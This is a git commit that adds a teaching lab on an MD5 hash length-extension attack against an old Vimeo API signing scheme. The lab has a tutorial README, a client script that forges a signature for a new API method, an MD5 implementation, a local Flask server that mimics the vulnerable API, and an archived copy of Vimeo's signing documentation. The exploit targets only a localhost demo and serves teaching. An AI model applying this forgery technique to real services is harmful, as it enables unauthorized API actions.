some small fixes

This commit is contained in:
Mari Wahl 2014-09-30 23:29:07 -04:00
parent 4f8d5148af
commit 16757b10ac
412 changed files with 139509 additions and 0 deletions

View file

@ -0,0 +1,55 @@
Hash Extension Attack at the Vimeo API
======================================
This tutorial is a slight adaptation of Filippo Valsorda's presentation. The example here should not work currently, but it was a vulnerability a couple of years ago.
The problem presented here shows how to exploit a poor choice combination of information in an API hash-function.
TL;DR: given a hash that is composed of a string with an unknown prefix, an attacker can append to the string and produce a new hash that still has the unknown prefix.
MD5
---
MD5 hashes can't be reversed and are nearly unique (accidental collisions are extremely rare, although possible).
The Vulnerability
-----------------
* A signature is created from a hashed string. This string is a composed of:
[ PASSWORD ]["api_key"+ api_key ]["method" + method]
Where password is just the user password and method is the action, for example "vimeo.test.login".
* This signature is hashed and added as the API signature.
* Vulnerability 1: if we can see the hash, we can add code to it (extend).
* Vulnerability 2: the secret is attached to the string that was hashed.
* Vulnerability 3: all the other components (except the secret) is passed in the plaintext in the request.
The Exploit
-----------
* If an attacker can see a request, she can extend the signature hash with any exploit. For example, she could add the method "vimeo.videos.setFavorite"
* The API signature is now formed by hashing the entire new request.
HOW TO RUN THIS EXAMPLE
-----------------------
* In one terminal run
$ python server.py
* Copy the values
api_key cdd56f298e71493b9b1015c691e14501
api_sig fdffe59969293f23c197f321ff2f972e
to client.py and then run it.
* To understand what happen, look inside client.py.

View file

@ -0,0 +1,130 @@
"""
Adapted from Filippo Valsorda's tutorial
Marina Wahl, august/2014
"""
from md5 import MD5
import binascii
import struct
import sys
import requests
# change the values from the server at
# localhost:4242 here
API_KEY = '3662b89cf7b76743831420a4fd5cf2df'
API_SIG = 'e5eaa1cb30a53f76665e7972d57f0a92'
# regular request
old_request = {
'method': 'vimeo.test.login',
'api_key' : API_KEY,
}
# exploit request
new_request = {
'method': 'vimeo.videos.setFavorite',
'api_key' : API_KEY,
'video_id' : '1337',
'favorite' : '1',
}
# concatenate all the string
def concatenate(req):
res = ""
for k, v in sorted(req.items()):
res += k
res += v
return res
# adapted from the function md5, just add the paddings
def make_md5_pad(l):
length = struct.pack('<Q', l * 8)
padding = '\x80'
padding += '\x00' * ((64 - len(length) - (l+1) % 64) % 64)
padding += length
return padding
if __name__ == '__main__':
# Studying the old request
old_len = 32 + len(concatenate(old_request))
concatenated_old = concatenate(old_request)
old_padding = make_md5_pad(old_len)
a = concatenate(old_request)[1:] + old_padding
print("--- ANALYZING THE NORMAL REQUEST ---")
print("The length of the (old) string: ")
print(old_len)
print(" ")
print("Concatenated string: ")
print(concatenated_old)
print(" ")
print("Old padding:")
print(repr(old_padding))
print(" ")
print("Full old request:")
print(repr(a))
print(" ")
print("The length is:")
print(len(a))
print(" ")
# making the new string
suffix = concatenate(new_request)
new_padding = make_md5_pad(old_len + len(old_padding) + len(suffix))
suffix += new_padding
new_md5 = make_md5_pad(30)
print("--- APPLYING THE EXPLOIT ---")
print("Concatenating:")
print repr(suffix)
print(" ")
print("The length is:")
print(len(suffix))
print(" ")
print("The new new_md5 is:")
print(new_md5.__repr__())
print(" ")
print("The length is:")
print(len(new_md5))
print(" ")
# creating the new string
md5 = MD5('')
md5.A, md5.B, md5.C, md5.D = struct.unpack('<IIII', binascii.unhexlify(API_SIG))
while len(suffix):
md5._handle(suffix[:64])
suffix = suffix[64:]
new_api_sig = md5.hexdigest()
print("The new api_sig is then:")
print(new_api_sig)
print(" ")
# testing if it works!
print("--- TESTING ---")
new_request['a'] = a
new_request['api_sig'] = new_api_sig
url = "http://localhost:4242/api"
data = {
'method': 'vimeo.test.login',
'api_key': API_KEY,
'api_sig': API_SIG,
}
r = requests.post(url, data=new_request)
print(r.text)
print(" ")

View file

@ -0,0 +1,84 @@
# MD5 Python 2 implementation
# Copyright (C) 2013 Filippo Valsorda
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
# Originally based, even if no code survives, on a Python license work
# by Dinu C. Gherman (C) 2001 and Aurelian Coman
# http://starship.python.net/crew/gherman/programs/md5py/md5py.py
import struct
import binascii
import math
lrot = lambda x, n: (x << n) | (x >> (32 - n))
class MD5():
A, B, C, D = (0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476)
# r specifies the per-round shift amounts
r = [7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22,
5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20,
4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23,
6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21]
# Use binary integer part of the sines of integers (Radians) as constants
k = [int(math.floor(abs(math.sin(i + 1)) * (2 ** 32))) for i in range(64)]
def __init__(self, message):
length = struct.pack('<Q', len(message) * 8)
while len(message) > 64:
self._handle(message[:64])
message = message[64:]
message += '\x80'
message += '\x00' * ((64 - len(length) - len(message) % 64) % 64)
message += length
while len(message):
self._handle(message[:64])
message = message[64:]
def _handle(self, chunk):
w = list(struct.unpack('<' + 'I' * 16, chunk))
a, b, c, d = self.A, self.B, self.C, self.D
for i in range(64):
if i < 16:
f = (b & c) | ((~b) & d)
g = i
elif i < 32:
f = (d & b) | ((~d) & c)
g = (5 * i + 1) % 16
elif i < 48:
f = b ^ c ^ d
g = (3 * i + 5) % 16
else:
f = c ^ (b | (~d))
g = (7 * i) % 16
x = b + lrot((a + f + self.k[i] + w[g]) & 0xffffffff, self.r[i])
a, b, c, d = d, x & 0xffffffff, b, c
self.A = (self.A + a) & 0xffffffff
self.B = (self.B + b) & 0xffffffff
self.C = (self.C + c) & 0xffffffff
self.D = (self.D + d) & 0xffffffff
def digest(self):
return struct.pack('<IIII', self.A, self.B, self.C, self.D)
def hexdigest(self):
return binascii.hexlify(self.digest()).decode()

View file

@ -0,0 +1,2 @@
Flask==0.10.1
requests==2.3.0

View file

@ -0,0 +1,75 @@
"""
adapted from Fillipo Valsorda's tutorial
august/2014
"""
import os
import binascii
import md5
import urlparse
from flask import Flask, request, abort, render_template
PORT = 4242
USER_ID = 42
USER_NAME = "Jack"
API_KEY = binascii.hexlify(os.urandom(16))
API_SECRET = binascii.hexlify(os.urandom(16))
app = Flask(__name__)
def sign_req(values, secret):
s = secret
for k, v in sorted(values.items()):
s += k
s += v
return md5.MD5(s).hexdigest()
@app.route('/')
def show_info():
req = {
"method": "vimeo.test.login",
"api_key": API_KEY
}
return render_template('info.html',
user_id=USER_ID, api_key=API_KEY, user_name=USER_NAME,
api_sig=sign_req(req, API_SECRET))
@app.route('/api', methods=['POST'])
def handle_api():
values = dict(urlparse.parse_qsl(request.get_data()))
if not 'api_sig' in values: abort(400)
if not 'api_key' in values: abort(400)
if not 'method' in values: abort(400)
if values['api_key'] != API_KEY: abort(403)
api_sig = values['api_sig']
del values['api_sig']
if sign_req(values, API_SECRET) != api_sig: abort(403)
if values["method"] == "vimeo.test.login":
return render_template("user.xml", user_id=USER_ID, user_name=USER_NAME)
elif values["method"] == "vimeo.videos.setFavorite":
if not 'video_id' in values: abort(400)
if not 'favorite' in values: abort(400)
if values["video_id"] != '1337': abort(404)
return render_template("ok.xml")
else:
abort(404)
if __name__ == '__main__':
app.debug = True
app.run(port=PORT)

View file

@ -0,0 +1,444 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html><head><title>Signing API Calls</title><meta http-equiv="Content-Type" content="text/html;charset=utf-8"/><link rel="canonical" href="http://archive.is/xte1C"/></head><body style="margin:0;background-color:white;width:1024px"><div class="html1" style="width: 1024px;text-align: left;overflow-x: auto;overflow-y: auto; background-color: rgb(231, 231, 222);position: relative;min-height: 1111px;; z-index: 0"><div class="html" style="text-align:left;overflow-x:visible;overflow-y:visible;margin: 0px; padding: 0px; ">
<meta name="description" content="Use Vimeo to share your videos with only the people you want to. We have a bunch of privacy options so you can choose exactly who can see your videos, like just your friends or everybody."/>
<meta name="keywords" content="video,video sharing,digital cameras,videoblog,vidblog,video blogging,home video,home movie,lip dub"/>
<div class="body" style="vertical-align:bottom;min-height:1041px;color:rgb(0, 0, 0);text-align:left;font-family:verdana, sans-serif;min-width:800px;overflow-x:visible;overflow-y:visible;margin: 0px; padding: 0px; "><div style="text-align:left;position:relative;min-height:70px;min-width:800px;display:none;width:inherit;border-top-left-radius:0px 0px;border-top-right-radius:0px 0px;border-bottom-right-radius:0px 0px;border-bottom-left-radius:0px 0px;z-index:2147483640;margin: 0px; padding: 0px; ">
<div style="position:absolute;min-width:780px;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAABBJREFUeNpi+v///zOAAAMACewD5vzlV+IAAAAASUVORK5CYII=);text-align:center;-webkit-box-shadow:rgb(51, 51, 51) 1px 1px 3px;box-shadow:rgb(51, 51, 51) 1px 1px 3px;width:inherit;border-top-left-radius:0px 0px;border-top-right-radius:0px 0px;border-bottom-right-radius:0px 0px;border-bottom-left-radius:0px 0px;z-index:2147483640;font-size:11px;font-family:'Lucida Grande', Arial, sans-serif;border-width: medium 5px 5px; border-style: none solid solid; margin: 0px; padding: 0px; border-color: white rgb(0, 0, 0) rgb(0, 0, 0); ">
<table style="-webkit-border-horizontal-spacing:0px;-webkit-border-vertical-spacing:0px;border-collapse:collapse;width:100%;margin: 0px; padding: 0px; "><tbody style="margin: 0px; padding: 0px; "><tr style="margin: 0px; padding: 0px; ">
<td style="color:rgb(0, 0, 0);vertical-align:top;min-width:110px;margin: 0px; padding: 10px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/" target="_blank" title="Wayback Machine home page" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;background-color: transparent; outline: invert none medium; border-width: medium; border-style: none; margin: 0px; padding: 0px; border-color: white; "><img alt="Wayback Machine" src="3a9f28ab386fe482d4f126969618a9d717b44b86.png" style="height:39px;width:110px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/></a>
</td>
<td style="color:rgb(0, 0, 0);text-align:center;vertical-align:top;width:100%;margin: 0px; padding: 0px; ">
<table style="-webkit-border-horizontal-spacing:0px;-webkit-border-vertical-spacing:0px;border-collapse:collapse;width:570px;margin: 0px auto; padding: 0px; "><tbody style="margin: 0px; padding: 0px; "><tr style="margin: 0px; padding: 0px; ">
<td colspan="2" style="color:rgb(0, 0, 0);margin: 0px; padding: 3px 0px; ">
<form action="javascript:void(0)" method="get" target="_top" style="margin: 0px; padding: 0px; "><input name="url" value="http://vimeo.com/api/docs/signing" style="text-align:left;width:400px;font-size:11px;font-family:'Lucida Grande', Arial, sans-serif;outline: invert none 0px; margin: 0px; padding: 0px; "/><input type="hidden" name="type" value="replay" style="text-align:left;outline: invert none 0px; margin: 0px; padding: 0px; "/><input type="hidden" name="date" value="20090305043551" style="text-align:left;outline: invert none 0px; margin: 0px; padding: 0px; "/><input type="submit" value="Go" style="font-size:11px;font-family:'Lucida Grande', Arial, sans-serif;width:inherit;outline: invert none 0px; margin: 0px 0px 0px 5px; padding: 0px; "/><span style="display:block;margin: 0px; padding: 0px; "></span></form>
</td>
<td rowspan="2" style="color:rgb(0, 0, 0);vertical-align:bottom;margin: 0px; padding: 5px 0px 0px; ">
<table style="-webkit-border-horizontal-spacing:0px;-webkit-border-vertical-spacing:0px;border-collapse:collapse;width:110px;color:rgb(153, 153, 170);font-family:Helvetica, 'Lucida Grande', Arial, sans-serif;margin: 0px; padding: 0px; "><tbody style="margin: 0px; padding: 0px; ">
<tr style="width:110px;height:16px;font-size:10px;margin: 0px; padding: 0px; ">
<td style="color:rgb(153, 153, 170);font-weight:bold;text-transform:uppercase;text-align:right;white-space:nowrap;overflow-x:visible;overflow-y:visible;font-size:11px;margin: 0px; padding: 0px 9px 0px 0px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090204125252/http://vimeo.com/api/docs/signing" target="_blank" title="4 Feb 2009" style="cursor:pointer;text-decoration:none;color:rgb(51, 51, 255);font-weight:bold;background-color: transparent; outline: invert none medium; border-width: medium; border-style: none; margin: 0px; padding: 0px; border-color: white; "><strong style="margin: 0px; padding: 0px; ">FEB</strong></a>
</td>
<td title="You are here: 4:35:51 Mar 5, 2009" style="background-color: rgb(0, 0, 0); color:rgb(255, 255, 0);font-weight:bold;text-transform:uppercase;width:34px;height:15px;text-align:center;font-size:11px;margin: 0px; padding: 1px 0px 0px; ">MAR</td>
<td style="color:rgb(153, 153, 170);font-weight:bold;text-transform:uppercase;white-space:nowrap;overflow-x:visible;overflow-y:visible;font-size:11px;margin: 0px; padding: 0px 0px 0px 9px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20111207215746/http://vimeo.com/api/docs/signing" target="_blank" title="7 Dec 2011" style="cursor:pointer;text-decoration:none;color:rgb(51, 51, 255);font-weight:bold;background-color: transparent; outline: invert none medium; border-width: medium; border-style: none; margin: 0px; padding: 0px; border-color: white; "><strong style="margin: 0px; padding: 0px; ">DEC</strong></a>
</td>
</tr>
<tr style="margin: 0px; padding: 0px; ">
<td style="color:rgb(153, 153, 170);white-space:nowrap;overflow-x:visible;overflow-y:visible;text-align:right;vertical-align:middle;margin: 0px; padding: 0px 9px 0px 0px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090204125252/http://vimeo.com/api/docs/signing" target="_blank" title="12:52:52 Feb 4, 2009" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;background-color: transparent; outline: invert none medium; border-width: medium; border-style: none; margin: 0px; padding: 0px; border-color: white; "><img alt="Previous capture" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAQCAYAAAAmlE46AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMZJREFUeNqU07EKQWEUwHEuSSaLkicgg3TZzCySvIKk2GVgJZmsBg9g8QK8gcHoASwGNoMS/l+db6Au3zn1W279b+fe796w779Cyimi7ymCFBbYox51CGLoYIS0XHv+C2uYynofExRmJWgG3fE7TGKMHuK/VrFhRJ7DRBmXN2XCBibIa87Ek5US2sM04Ro5DHDRhGbumMu6SzxcQztndFHGVhPaOaCKFo6a0Iz5+jcoYYira2jnhhkKWNlO83ec0EYFu7cAAwCVABzGI3/GxAAAAABJRU5ErkJggg==" style="height:16px;width:14px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/></a>
</td>
<td title="You are here: 4:35:51 Mar 5, 2009" style="background-color: rgb(0, 0, 0); color:rgb(255, 255, 0);width:34px;height:24px;text-align:center;font-size:24px;font-weight:bold;margin: 0px; padding: 2px 0px 0px; ">5</td>
<td style="color:rgb(153, 153, 170);white-space:nowrap;overflow-x:visible;overflow-y:visible;text-align:left;vertical-align:middle;margin: 0px; padding: 0px 0px 0px 9px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20111207215746/http://vimeo.com/api/docs/signing" target="_blank" title="21:57:46 Dec 7, 2011" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;background-color: transparent; outline: invert none medium; border-width: medium; border-style: none; margin: 0px; padding: 0px; border-color: white; "><img alt="Next capture" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAQCAYAAAAmlE46AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMhJREFUeNqU0s8KAUEcwPHBJjm5KHkCV+07cJHkKZRyUK6cKYeVPxd5BVcHjspB+VPKA7g4cHNQwndqp/awMb9ffdra+jazMxtx3c9UKTXCTgkmihK28JCWhG//2cARdcRtwuBkMMQGRUloJo8F5shJQjMV/9D6SElCPQk0cUINMdvQTBYTHFCWhGaSeheOILihiwGeNuELM7RxNS//hUu0sLe9jjOqKIRFYSve0fP/nsevrTiBVfV3dHCxOSkdrjDGWnInXwEGAM40IjLd/vWIAAAAAElFTkSuQmCC" style="height:16px;width:14px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/></a>
</td>
</tr>
<tr style="width:110px;height:13px;font-size:9px;margin: 0px; padding: 0px; ">
<td style="color:rgb(153, 153, 170);font-weight:bold;text-align:right;white-space:nowrap;overflow-x:visible;overflow-y:visible;font-size:11px;margin: 0px; padding: 0px 9px 0px 0px; ">
2008 </td>
<td title="You are here: 4:35:51 Mar 5, 2009" style="background-color: rgb(0, 0, 0); color:rgb(255, 255, 0);font-weight:bold;width:34px;height:13px;text-align:center;font-size:11px;margin: 0px; padding: 1px 0px 0px; ">2009</td>
<td style="color:rgb(153, 153, 170);font-weight:bold;white-space:nowrap;overflow-x:visible;overflow-y:visible;font-size:11px;margin: 0px; padding: 0px 0px 0px 9px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20111207215746/http://vimeo.com/api/docs/signing" target="_blank" title="7 Dec 2011" style="cursor:pointer;text-decoration:none;color:rgb(51, 51, 255);font-weight:bold;background-color: transparent; outline: invert none medium; border-width: medium; border-style: none; margin: 0px; padding: 0px; border-color: white; "><strong style="margin: 0px; padding: 0px; ">2011</strong></a>
</td>
</tr>
</tbody></table>
</td>
</tr>
<tr style="margin: 0px; padding: 0px; ">
<td style="color:rgb(0, 0, 0);vertical-align:middle;margin: 0px; padding: 0px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551*/http://vimeo.com/api/docs/signing" target="_blank" title="See a list of every capture for this URL" style="text-decoration:none;cursor:pointer;color:rgb(51, 51, 255);font-size:11px;font-weight:bold;background-color: transparent; outline: invert none medium; border-width: medium; border-style: none; margin: 0px; padding: 0px; border-color: white; "><strong style="margin: 0px; padding: 0px; ">36 captures</strong></a>
<div title="Timespan for captures of this URL" style="color:rgb(102, 102, 102);font-size:9px;white-space:nowrap;width:inherit;border-top-left-radius:0px 0px;border-top-right-radius:0px 0px;border-bottom-right-radius:0px 0px;border-bottom-left-radius:0px 0px;z-index:2147483640;margin: 0px; padding: 2px 0px 0px; ">27 Jul 08 - 7 Dec 11</div>
</td>
<td style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/signing" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;position:relative;white-space:nowrap;width:475px;height:27px;outline: invert none medium; margin: 0px; padding: 0px; ">
<div title="Explore captures for this URL" style="position:relative;white-space:nowrap;height:27px;background-color: rgb(255, 255, 255); cursor:pointer;border-right-color:rgb(204, 204, 204);width:inherit;border-top-left-radius:0px 0px;border-top-right-radius:0px 0px;border-bottom-right-radius:0px 0px;border-bottom-left-radius:0px 0px;z-index:2147483640;border-width: medium 1px medium medium; border-style: none solid none none; margin: 0px; padding: 0px; ">
<img alt="sparklines" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAdsAAAAbCAYAAAA05SU0AAABUElEQVR42u3VwQmEMABFwdTp2XI8WlZKsYcYBQ8GUcEEQSfgZVkYyBdfiDGm0PgwGAwGg/FnY0Xy6Vo+DAaD8baRP3fLBzXdM/qx5WOPfxliy2AwxFZsGWLLYDAYYmtzsTUIg8EQW7FliC2DwWCILUNsGQwGQ2xtLrYui8FgfCW2V9EVW4bYMhgMhtjaXGwNwmAwxFZsGWLLYDDEVmwZYstgMBhia3OxNQiDwRBbsWWILYPBYIgtQ2wZDAZDbG0uti6LwWCIrdgyxJbBYDDE1uZiaxAGgyG2Yiu2YstgMMRWbBliy2AwGE+MMrJiyxBbBoPBEFubi61BGAzGN2O7/S62DLFlMBiMSrEto3sU2+23KQzrI7ZHd+XdFVsGgyG2Yiu2YstgMBhiK7Zi67IYDIbYiq3Y1ohtaHwYDAbjRSNdPLv/FcYutvY4vSvv7smZAb6UKOzjufhcAAAAAElFTkSuQmCC" style="height:27px;width:475px;position:absolute;z-index:9012;top:0px;left:0px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP4/5/hPwAH/QL+ecrXpAAAAABJRU5ErkJggg==" style="height:27px;width:25px;display:none;position:absolute;z-index:9010;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAA1JREFUCNdjeMPQ8x8ABcwCeP+6qaAAAAAASUVORK5CYII=" style="height:27px;width:2px;display:none;position:absolute;z-index:9011;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
</div>
</a>
</td>
</tr></tbody></table>
</td>
<td style="color:rgb(0, 0, 0);text-align:right;width:65px;font-size:11px;margin: 0px; padding: 5px; ">
<a href="#" title="Close the toolbar" style="text-decoration:none;cursor:pointer;display:block;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAYAAABWdVznAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAALZJREFUeNpskjEKAkEMRYOthYrrggq2FoqohQfWRm30CCqiIngAm232GAqzP5CsMWTgFUn+Z8ifoUREYAw2IJfa0gFrMOOaGxPwBgncQebEZ5kVYM7NnTSSMbVA04iVIxuGIrKDKzi53guM9OosMHlxX3dQ2uASiB92rwb9zlfwh3ufugrSiKjTI8nei5/gFpgGbNgGC3YlWh/EgQ0LeZS/NIL0SrDSwRTs+crga/TkcZdcVwIMAJcy0EgSRh1cAAAAAElFTkSuQmCC);color:rgb(51, 51, 255);font-family:'Lucida Grande', Arial, sans-serif;background-color: transparent; background-position: 100% 0px; background-repeat: no-repeat; outline: invert none medium; border-width: medium; border-style: none; margin: 0px 0px 23px; padding: 0px 18px 0px 0px; border-color: white; ">Close</a>
<a href="https://archive.today/o/xte1C/http://faq.web.archive.org/" target="_blank" title="Get some help using the Wayback Machine" style="text-decoration:none;cursor:pointer;display:block;background-image:url(6ae3619c0c6aa84fbcbcba969fa291f5e6bd224a.png);color:rgb(51, 51, 255);font-family:'Lucida Grande', Arial, sans-serif;background-color: transparent; background-position: 100% 0px; background-repeat: no-repeat; outline: invert none medium; border-width: medium; border-style: none; margin: 0px; padding: 0px 18px 0px 0px; border-color: white; ">Help</a>
</td>
</tr></tbody></table>
</div>
</div>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAA9JREFUeNpiZmBgOAMQYAAA4ADQ8vodGwAAAABJRU5ErkJggg==" style="text-align:left;position:absolute;top:0px;left:0px;z-index:100000;display:none;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<div style="text-align:left;position:absolute;top:0px;left:0px;z-index:100001;margin: 0px; padding: 0px; "></div>
<div style="background-color: rgb(231, 231, 222); width:980px;text-align:left;margin: 0px auto; padding: 0px; ">
<div style="position:relative;width:980px;height:85px;z-index:1111;margin: 0px; padding: 0px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; "><img alt="Vimeo" src="07f1b2b386333435a97f14d828f69d4b03e60f3d.gif" style="position:absolute;left:20px;top:10px;z-index:999999;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/></a>
<div style="font-size:11px;color:rgb(255, 255, 255);margin: 0px 18px 0px 0px; padding: 0px; ">
<ul style="z-index:999999;list-style: none outside none; margin: 0px; padding: 0px; ">
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAyCAYAAABRYothAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAALhJREFUeNpiFFdW+s9ABcDEQCUwatCoQaMGjRo0atCoQaMGjRpEDvhFLYO+UMugF9Qy6Bq1DDpLLYMOUsOgR0B8ihoGLQPiv5Qa9AuIp1AjQc4C4qeUGvQOiOupkUWyoIZRZBAoXFZSmmk3AXEBpbl/KxBHgKKbEoNAMeQPxN/JLY9eAHEoEKdjcwkMsOArY4C4G4j7oGy8AJtBN4F4DRBPBOLXxPobZNAFIL4DKgqgUXqfnPQAEGAA/DkjDXA3eLYAAAAASUVORK5CYII=" style="width:18px;height:50px;position:absolute;right:0px;top:0px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<li style="list-style-type:none;cursor:pointer;background-color: rgb(23, 35, 34); float:right;position:relative;font:normal normal normal 10px/normal Verdana;height:13px;font-size:11px;width:13.9em;margin: 0px; padding: 16px 21px 21px 18px; ">
<div style="float:left;position:absolute;top:12px;margin: 0px; padding: 0px; ">
<div style="float:left;width:173px;height:24px;background-image:url(data:image/gif;base64,R0lGODlhrQAWAOYAABcjI2lxcc3NwcXFt2FpaTI9Pfr6+khSUvn5+Jqfn+3t6N3d1Pn598PDtcvLv9ra0ff39zA6OuTk3sjLy/Ly7+Dg2uvr5/39/fHx7cvOztzd3cfHu+Hj4/T19V5mZv7+/vz8++Xl3/b288nJvN/f2PT08ejo4enp483NwsnJu9ra0ujo4srKvsbGuODg2fHx78PDs8LCs9fXzcDAsMHBssXFuNjYzcfHufDw7uXl3unp5cjIu52iosrKvLy8rN7e1snJvdXVy+7u68zMwP7+/dPTydbWzcbGudXVysTEts3NwNDQxc7OweXl4OTk3fj49v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAACtABYAAAf/gACCEQkaUIeIiYqLjI2Oj5CRkpOUlZaNGgkRgpweHZegoaKjpKWXHR6cBwamra6vsJACoQYHghOxubq7vI4TAAW9wsPEh7OMHwxPF48FBMXQ0cIUMg49RRaOBAHS3d6gx4lCQEkOKAMDTo0B3N/u75QISwMkCCArGzcUjOzw/v9Qwh1SMMAIEUQVaFTg1w6gQ39NGkhIhAGGCoYPM0YTCEVHgwWJTMz4gVGjSWkiWKQ4wQwDkwEKSp6cmYsjlBwDdth4oGTAgw8yaQrlFUJAjSNDNgQBEXSoU1E2DzGwoKAEkhgTF/V7ynUXjhYjXmh91rVspaiLFvhwsYhAMLNwMFuJCIFgUQEAGeLqbYRWUgZBq/YKLlWLEwEIgwX3fQSBACdBBXhwSEw5EocEdwUFAgA7);background-color: transparent; background-position: 0% 0%; background-repeat: no-repeat; margin: 0px; padding: 0px; ">
<form style="margin: 0px; padding: 0px; ">
<input value="Search Videos" style="text-align:left;float:left;height:18px;font:normal normal normal 12px/normal arial, sans-serif;color:rgb(150, 150, 150);width:135px;background-color: transparent; outline: invert none 0px; border-width: 0px; border-style: none; margin: 1px 0px 0px 4px; padding: 2px 0px 0px 3px; border-color: white; "/>
<input type="submit" value="" style="float:left;width:25px;height:24px;cursor:pointer;background-color: transparent; outline: invert none 0px; border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
</form>
</div>
</div>.
<ul style="display:none;z-index:999999;position:absolute;top:50px;left:15px;color:rgb(187, 187, 187);width:9em;list-style: none outside none; margin: 0px 0px 0px -15px; padding: 0px; ">
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:9em;margin: 0px; padding: 0px 18px; "><a href="#" style="cursor:pointer;text-decoration:none;font-size:11px;display:block;background-color: transparent; color:rgb(229, 61, 44);outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Search Videos</a><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPVJREFUeNpiufHwwf8PHz8yPH36lOHwkSMMu/fsYXj8+DEDCwsLAysrKwM6YLz56CETMzMzCxMQgASeP3/OtXLVqrebtmxh+PDhAwM7Ozuqhv///6MI3Hn6hAVoMtup06e/9vT2Mty8dYuBg4MDtwYQANnKBQQPHj7kqq2re3nx0iWETSANuPCDF8+5Dp06KWZsb/dfQEb6v7iy0n+8GkD44csXXKs3b/ovra72X1RR4T8TAwHw/cePHyamppzhoaEMv379YiCoQV1O/h/IJj9fX0l5OTkGFgYigKKE5A9WFpYvtra2hG2AgV+/f/+ytrJiAAgwAJMsjRfgwkvRAAAAAElFTkSuQmCC" style="position:absolute;top:0px;left:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
